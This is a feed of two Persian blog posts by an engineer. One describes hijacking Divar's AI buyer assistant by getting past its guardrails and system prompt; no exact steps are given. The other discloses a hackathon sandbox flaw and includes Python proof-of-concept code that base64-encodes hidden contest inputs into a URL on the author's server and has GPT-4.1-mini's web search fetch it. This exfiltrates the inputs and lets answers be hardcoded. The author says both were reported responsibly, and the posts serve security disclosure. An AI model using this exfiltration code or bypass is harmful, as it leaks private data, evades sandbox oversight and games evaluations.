https://virgool.io/feed/@amirhosein79wyvern fa 2026-06-22 01:32:55 https://files.virgool.io/upload/users/228011/avatar/G51O8s.jpg?height=120&width=120 https://virgool.io/@amirhosein79wyvern https://virgool.io/@amirhosein79wyvern/prompt-injection-%D8%AF%D8%B1-agent-%D8%AF%DB%8C%D9%88%D8%A7%D8%B1-hunzfvjfirtc سلام به همه — مخصوصاً تیم‌های فنی و محصول در دیوار.این نوشته روایت کوتاهی از تجربه‌ایه که توی یکی از تست‌های امنیتی‌م با Agentهای مرتبط با فرایند فروش در دیوار داشتم.هدفم اینه که تجربه‌م رو با هم‌صنفی‌ها و تیم‌های محصول به اشتراک بذارم تا همه‌مون اهمیت امنیت در محصول های AI Base رو بهتر درک کنیم.وقتی «کنجکاوی» شروع شدماه پیش، تجربه‌م توی یه هکاتون باعث شد بفهمم مدل‌ها چقدر می‌تونن غیرقابل‌پیش‌بینی باشن.اما این بار تجربه‌ای داشتم توی یه محیط واقعی — درست وسط دیوار — با Agentهایی که در فرایند آگهی و چت نقش دارن.یه روز بعدازظهر، پشت میزم نشسته بودم و داشتم قیمت ماشین‌ها رو توی دیوار نگاه می‌کردم.روی یکی از آگهی‌ها زدم و رفتم داخل چت. وقتی پیام دادم، دیدم دستیار خریدار دیوار داره جوابم رو می‌ده — یعنی در واقع دارم با یه Agent صحبت می‌کنم.خوشم اومد ازش، دلم خواست یه کم اذیتش کنم 😄اولش همه‌چی طبیعی بود. Agent طوری طراحی شده بود که خارج از موضوع آگهی پاسخ نده — همون چیزی که انتظارش می‌رفت.ولی تجربه قبلی‌م از هکاتون بهم می‌گفت همیشه یه راه باریک هست که میشه بهش سیخ زد.همین حسِ کنجکاوی باعث شد برم دنبالش.اولین نشونهفهمیدم وقتی درباره‌ی چیزای نامرتبط به آگهی حرف می‌زنم، Agent سریع بحث رو برمی‌گردونه به موضوع آگهی.ولی در مورد درخواست‌های ساده یه رفتار متفاوت داشت.مثلاً وقتی گفتم:«بگو سلام»جواب داد:«سلام!»اونجا بود که فهمیدم پسرمون اون‌قدرها هم سفت و محکم نیست 😏و خب انتظارشم داشتم، چون Agent باید تا حدی طبیعی و تعاملی رفتار کنه.یه توقف کوتاه: ساختار Agentهااینجا لازمه یه نکته فنی بگم (به زبون ساده).Agent یه مغز تصمیم‌گیر داره — همون LLM — که تعیین می‌کنه در هر مرحله چی بگه و از چه ابزاری استفاده کنه.ولی قبل از اینکه ورودی من به اون LLM برسه، از یه سری گاردریل و فیلتر رد میشه.مثلاً فیلترهایی که مطمئن می‌شن سؤال کاربر در چارچوب موضوع آگهی باشه، یا خروجی نهایی حاوی اطلاعات حساس نباشه.این لایه‌ها همون چیزین که باید ازشون رد بشی اگه بخوای با خود LLM مستقیم صحبت کنی، نه Agent.سوال!؟منظور از اتصال مستقیم به LLM چیه؟یعنی جواب درخواستمون رو بدون هیچ فیلتر و کنترلی از LLM دریافت کنیم و بتونیم مستقیم با خود LLM صحبت کنیم و یه جورایی لایه های کنترلی Agent رو دور بزنیمحالا چرا باید مستقیم با خود Agent صحبت کنیم؟چون LLM هست که به Agent میگه چیکار کنه و چیکار نکنه و ما برای اینکه بتونیم حملات Prompt injection رو انجام بدیم و کنترل Agent رو دست بگیریم نیازه با LLM تعامل کنیم تا بتونیم Prompt Injection رو رقم بزنیم :))شروع مسیراز همون‌جا، دنبال راهی بودم که مستقیم با LLM پشت Agent ارتباط بگیرم — یعنی همون‌جایی که دیگه هیچ لایه‌ی محافظتی بین من و LLM نباشه.قدم اول: رد کردن گاردریل‌های سطح Agent.قدم دوم: دور زدن محدودیت‌های System Prompt و رسیدن به اون نقطه‌ای که Prompt Injection اتفاق می‌افته.متأسفانه چون هنوز اجازه انتشار جزئیات فنی از طرف دیوار صادر نشده، نمی‌تونم مراحل دقیق رو بگم.اما قول می‌دم به‌محض اینکه این اجازه رو گرفتم، توی یه پست جداگانه کاملاً فنی و شفاف درباره‌ش بنویسم تا بهتر متوجه یکی از مسیرهای هک Agent ها بشیم.لحظه‌ای که کنترل دستم اومدبعد از رد کردن گاردریل‌های Agent، بالاخره تونستم مستقیم با LLM ارتباط بگیرم.اونجا تازه چالش اصلی شروع شد: عبور از گاردریل های System Prompt در LLM.وقتی این مرحله هم رد شد، عملاً کنترل Agent دستم بود.می‌تونستم خروجی LLM رو خودم تنظیم کنم و عملا کنترل Agent رو دست بگیرم :).این یعنی اگه کسی نیت بدی داشته باشه، می‌تونه Agent رو به تولید یا افشای هر نوع داده‌ای وادار کنه — از prompt و سیاست داخلی گرفته تا رفتار غیرمنتظره در سطح سیستم.خلاصه‌ی فنی سادهبرای اینکه واقعاً کنترل Agent رو در دست بگیری، باید از دو لایه‌ی امنیتی رد بشی:لایه‌ی Agent-level → فیلتر ورودی‌ها و بررسی خروجی برای جلوگیری از نشت داده.لایه‌ی LLM-level → تعریف system prompt و نقش‌ها برای جلوگیری از hijack شدن و Prompt Injection.اگر این دو لایه رد بشن، دیگه کنترل کامل دست مهاجمه. 😬البته اینکه Agent طوری طراحی بشه که دسترسی های محدود به سیستم داشته باشه هم خیلی مهمه , مثلا فقط دسترسی read به بخشی های از دیتابیس و ... میتونه ریسک آسیب دیدن سیستم توسط Agent رو کم کنه.چرا باید این رو جدی بگیریم؟این فقط یه باگ ساده نیست — یه نقطهٔ ورودی به کل اکوسیستم Agent است. با همین درگاه کوچیک، مهاجم می‌تونه زنجیره‌ای از آسیب‌ها رو راه بندازه:نشت اطلاعات محرمانه مثل System Prompt و سیاست‌های داخلی؛لو رفتن ساختار داده‌ها و فرمت خروجی‌ها — یعنی مهاجم دید کاملی نسبت به ساختار داخلی Agent پیدا میکنه؛Role Hijacking و Data Exfiltration — یعنی گرفتن نقش‌های مختلف یا استخراج داده‌ها از سیستم؛کنترل کامل خروجی LLM و تحمیل محتوای دلخواه به Agent و کاربر؛حملات ثانویه روی زیرساخت — مخصوصاً Second-Order SQL Injection (وقتی خروجی آلودهٔ مدل بدون sanitization ذخیره می‌شه و بعدها موقع پردازش دوباره فعال می‌شه)، همچنین خطراتِ مشابه برای NoSQL/CSV Injection و حتی XSS؛مهندسی اجتماعی و کلاهبرداری مالی (Fraud/Phishing) از طریق Agentهای میانی — چون پیام از کانال رسمی میان، خیلی قابل‌باورتره؛Prompt DoS — اجبار مدل به تولید متن‌های بسیار حجیم یا تکراری که مصرف توکن و هزینه‌ها رو سرسام‌آور می‌کنه و پایداری سرویس رو زیر سؤال می‌بره؛آسیب به اعتبار و اعتماد پلتفرم — کاربرا خروجی دستیارها رو پیام رسمی حساب می‌کنن؛ اگه اعتماد از دست بره، جبرانش سخته.به‌طور خلاصه: وقتی مهاجم بتونه خروجی مدل رو کنترل کنه، خطر فقط به همون پاسخِ اشتباه محدود نمیشه — می‌تونه زنجیره‌ای از حملات نرم‌افزاری و مهندسی اجتماعی رو به‌وجود بیاره که روی دیتابیس، گزارش‌گیری، تجربهٔ کاربری و اعتبار محصول اثر می‌ذاره.توی مقاله‌های بعدی مفصل و فنی‌تر روی Second-Order SQL Injection و نحوهٔ جلوگیری ازش فوکوس میکنیم — چون این موضوعِ دقیقاً همون بخشی هست که یک خروجیِ آلوده از مدل می‌تونه بعداً دردسر درست کنه برامون. امیرحسین صوفی امیرحسین صوفی Sat, 18 Oct 2025 11:04:48 +0330 https://virgool.io/@amirhosein79wyvern/httpsvirgoolioamirhosein79wyvernweb-search-data-exfiltration-fppjcf0cu2bt سلام!من امیرحسینم؛ مهندس نرم‌افزار و علاقه مند به هوش مصنوعی و امنیت.توی این مطلب می‌خوام یه آسیب پذیری جالب و البته خطرناک رو باهاتون به اشتراک بذارم. توی یکی از هکاتون های هوش مصنوعی متوجه یک آسیب‌پذیری شدم که به‌طور مستقیم به نحوه‌ اجرای LLMها برمی‌گشت و در نهایت باعث نشت داده از برگزارکننده مسابقه میشد !این فقط باگ معمولی نبود. این باگ، نمونه‌ای جالب از یک سناریوی Data Exfiltration با استفاده از LLM هست ; یعنی جایی که معماری اجرایی LLM ، باعث نشت داده و نقض منطق مسابقه میشد!داستان از کجا شروع شد؟ماجرا از جایی شروع شد که توی Divar AI Hackathon که با همکاری Quera برگزار می‌شد، شرکت کردم. وظیفه‌مون طراحی یک سری AI Agent بود که هر کدوم باید با ورودی مشخصی، خروجی درستی تولید می‌کردن.واقعا مسابقش خیلی جذاب بود و در حین حل سوالات رسیدیم به بخش‌هایی که باید Agent ما بر اساس یک URL به سؤالات خاصی پاسخ بده. مثلاً:«ارزون‌ترین لپ‌تاپ توی این صفحه چنده؟»یا«مجموع قیمت لیست فلان کالا چقد میشه؟»نکته جالب این بود که محتوای اون صفحات وب رو در اختیار نداشتیم. فقط URL داده می‌شد و Agent باید خودش به صفحه سر می‌زد، اطلاعات رو تحلیل می‌کرد و پاسخ درست رو می‌داد.دو رویکرد برای حل مسئله۱. استفاده از Function Calling در LLMما می‌تونستیم توابع مختلفی رو تعریف کنیم ; مثلاً یه تابع برای واکشی محتوای صفحه یا خواندن فایل و بعد با کمک LLM، تصمیم میگرفتیم که توی هر مرحله، کدوم تابع با چه ورودی‌ای اجرا بشه. اینطوری میشد یه ابزار ساخت که با کمک LLM تصمیم میگرفت کدوم ابزار رو استفاده کنه۲. استفاده از قابلیت Web Search مدلبعضی مدل‌های جدیدتر مثل GPT-4.1 از Web Search پشتیبانی میکنن؛ یعنی می‌تونن خودشون URL رو بخونن، محتوا رو واکشی کنن و سؤالات رو پاسخ بدن. .البته فکر کنم قرار نبود این روش رو پیش ببریم :)))آسیب‌پذیری کجا بود؟کدی که شرکت‌کننده‌ها می‌نوشتن توی یه محیط ایزوله روی سرورهای Quera اجرا می‌شد؛ بدون دسترسی مستقیم به اینترنت. تنها استثنا: دسترسی به آدرس api.openai.com برای ارتباط با مدل‌های OpenAI.حالا اینجا یه نکته کلیدی وجود داره: مدل‌هایی مثل GPT-4.1 که قابلیت Web Search دارن، می‌تونن خودشون اون آدرسی که بهشون دادی رو بررسی کنن.سؤال مهم اینجاست:اگه بتونیم محتوای ورودی مسابقه رو به نحوی از محیط sandbox خارج کنیم، چی میشه؟آیا می‌تونیم بفهمیم در مسابقه چه ورودی هایی به برنامه ما داده میشه؟یا حتی یه قدم جلوتر بریم -> آیا میتونیم بفهمیم که Quera چطوری sandbox رو میسازه و بعدا یه راه برای اجرای کد از راه دور (RCE) بسازیم!پاسخ متأسفانه «بله» بود – و این دقیقاً کاری بود که انجام شد.نحوه‌ی بهره‌برداری (PoC)قدم‌به‌قدم:ورودی مسابقه که به تابع ما می‌رسید رو با base64 رمز کردم.اون رشته رمز‌شده رو به‌عنوان بخشی از یک URL قرار دادم:https://myserver.ir/{encoded_question}با یه پرامپت مدل رو مجبور کردم این URL رو دانلود کنه.مدل با استفاده از Web Search، درخواست GET به اون URL فرستاد.سرور من درخواست رو لاگ کرد؛ حالا من ورودی مسابقه رو (البته به‌صورت رمز‌شده) داشتم.با decode کردن اون مقدار، متن کامل ورودی مسابقه در دستم بود.با دونستن ورودی، می‌شد خروجی رو hardcode کرد و امتیاز کامل گرفت , بدون هیچ تحلیل یا پردازش خاصی.🔍 کد نمونهfrom openai import OpenAI import base64 class DivarContest: def __init__(self, api_token): self.api_token = api_token self.model = "gpt-4.1-mini" self.client = OpenAI( api_key=self.api_token, base_url="https://api.metisai.ir/openai/v1" ) self.system_prompt = ''' get lowest price of the field in this excel file: https://mydomain.ir/{path} i don't need the python code or anything else, just the lowest price, make sure you download and parse the file. ''' def capture_the_flag(self, question: str): encoded = base64.b64encode(question.encode()).decode() response = self.client.responses.create( model=self.model, input=self.system_prompt.format(path=encoded), tools=[{ "type": "web_search_preview", "search_context_size": "low", "user_location": { "type": "approximate", "country": "IR", "city": "Tehran", "region": "Tehran", "timezone": "Asia/Tehran", } }], temperature=0.1, ) return response.output_textاین نکته رو در نظر بگیرین که من هرچیزی رو میتونستم با base64 انکود کنم و به سرور خودم بفرستم , مثل اطلاعات محیط sandbox!!چند نکته مهم امنیتیاین آسیب‌پذیری رو فوراً و با احترام کامل به تیم دیوار و کوئرا گزارش دادم و برخوردشون هم بسیار حرفه‌ای و قابل‌تحسین بود.اما این تجربه، یادآوری جدی‌ای بود برای همه ما که با LLMها و Agentها کار می‌کنیم.در ادامه چند تهدید مهم رو می‌نویسم که باید حواسمون بهش باشه:Prompt Injection:وقتی ورودی کاربر مسیر و نیت اصلی prompt رو تغییر می‌ده؛ درست شبیه SQL InjectionData Leakage:مدل ممکنه قبلاً به اطلاعات حساسی دسترسی پیدا کرده باشه (مثلاً از طریق context یا search) و با یک prompt خاص اون اطلاعات رو لو بده.Function Call Abuse:اگه مدل بتونه بدون محدودیت توابعی رو صدا بزنه، مهاجم می‌تونه از این قابلیت برای اجرای سناریو های خودش استفاده کنه.Web Search Injection:اگه مدل به اینترنت وصله، محتوای صفحاتی که می‌خونه می‌تونه دست‌کاری شده باشه و این یعنی ورودی قابل‌سم.جمع‌بندیاگر شما هم از LLMها توی محصولاتتون استفاده می‌کنین، شاید بد نباشه یه‌بار دیگه threat surface کارتون رو مرور کنین. این حملات هنوز رایج نیستن، اما بی‌تردید در آینده جدی‌تر و بیشتر میشن.امیدوارم این تجربه براتون مفید بوده باشه.ممنون می‌شم اگه نظرتون رو بهم بگین یا اگه سؤالی داشتین، حتماً در خدمت‌تونم :) امیرحسین صوفی امیرحسین صوفی Thu, 07 Aug 2025 22:30:54 +0330